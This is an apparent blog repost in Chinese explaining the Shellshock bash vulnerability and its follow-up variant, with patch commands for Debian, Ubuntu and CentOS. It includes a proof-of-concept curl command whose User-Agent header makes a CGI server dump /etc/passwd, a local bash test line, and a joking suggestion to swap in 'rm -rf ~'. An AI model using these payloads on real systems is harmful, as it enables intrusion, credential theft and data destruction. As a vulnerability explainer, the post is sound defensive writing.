3

昨天收到阿里云的短信通知,让我修复一个漏洞,因此特意在知乎查了一下这个漏洞的情况,一下内容来自知乎,作者吴昊

(希望 SF 也已经修复了此漏洞)


利用这个漏洞,需要两个条件:

  1. 服务器收到请求后,会执行bash
  2. 执行bash的时候,会将UserAgent等设置成环境变量

同时满足这两点的,一般是使用CGI的服务器,所以受到影响的服务器份额(我语文不好)不是很大。
对它进行一下简单的说明:

下面是乌云上的测试脚本:

$ curl -A ‘() { :; }; /bin/cat /etc/passwd > dumped_file’ http://192.168.0.1/poc.cgi 

poc.cgi 是一个开头为 #! /bin/bash 的cgi脚本

在服务器端会发生的事情:

  1. 收到HTTP请求,此请求带有Head: “User-Agent: () { :; }; /bin/cat /etc/passwd >
    dumped_file”

  2. 服务器将User-Agent设置为环境变量,并执行bash

  3. bash由于解析漏洞,执行了如下脚本

    $ /bin/cat /etc/passwd > dumped_file

由于解析漏洞使得环境变量被运行的原理如下(图片来源见篇尾):

由于解析漏洞使得环境变量被运行的原理

大家可以用自己的bash运行下面的代码尝试:

env User-Agent='() { :;}; echo hehe'  bash -c "echo test"
hehe

Linux(大)部分发行版都已经更新了bash,这个命令应该已经没用了,不过OS X的用户还是可以试一下的,Apple没有发布新的安全更新(Cook: 你们一定不会用它当服务器的)

PS:把echo hehe换成rm -rf ~效果更佳(误)。

现在的情况:

因为我只有Debian的环境,所以我只能说上面的漏洞在Debian源更新的bash已经解决了。
//就当它已经解决了吧

但是不小心又看到了下面的漏洞

$ env User-Agent='() {(a)=>\' bash -c 'output date'; cat output

// 从小bash没学好,一路兵败如山倒
// 我不会说我看不懂的

试了一下,确实会输出执行的date,但是原理是?

先看一下下面的图:

漏洞

我试着在bash里输入:

$ >\
# 然后bash的显示
>
# 输入
> output date
# ls一下,发现当前目录有叫output的文件

嗯,应该是>符号把date的输出重定向到output里了

这个漏洞在Debian源里更新的bash还没有解决.....(9月26日上午3:50)

关于可以利用它做什么:

首先要反对一下目前排名第一的答案,有了bash不等于有一切,要看是什么权限运行的bash。

  1. cgi服务器进程一般不会是root权限

  2. 如果是的话,那个网站的网(yun)管(wei)就可以开了又开了。

  3. 所以拿到的很大几率是一个像"www_data"这样的用户权限

拿到www_data可以做什么呢?

可以看网站的配置文件,里面可能有数据库密码,然后就可以进数据库了。(真的这么简单么)
// 看起来还是有危险的,下面是解决方案

# debian/ubuntu 用户
$ sudo apt-get update
$ sudo apt-get install bash
# centos 用户
$ sudo yum update bash
# osx 用户
# 等Apple更新吧
# windows 用户
# 别凑热闹了亲

// 这里是一段结束语
// 这个漏洞我觉得是cgi服务器的问题(误),把用户的输入放到env里真心大丈夫?

Update:

图片截屏自:

CVE-2014-6271 : Remote code execution through bash : netsec

参考链接:


justjavac
47.8k 声望15.9k 粉丝

会写点 js 代码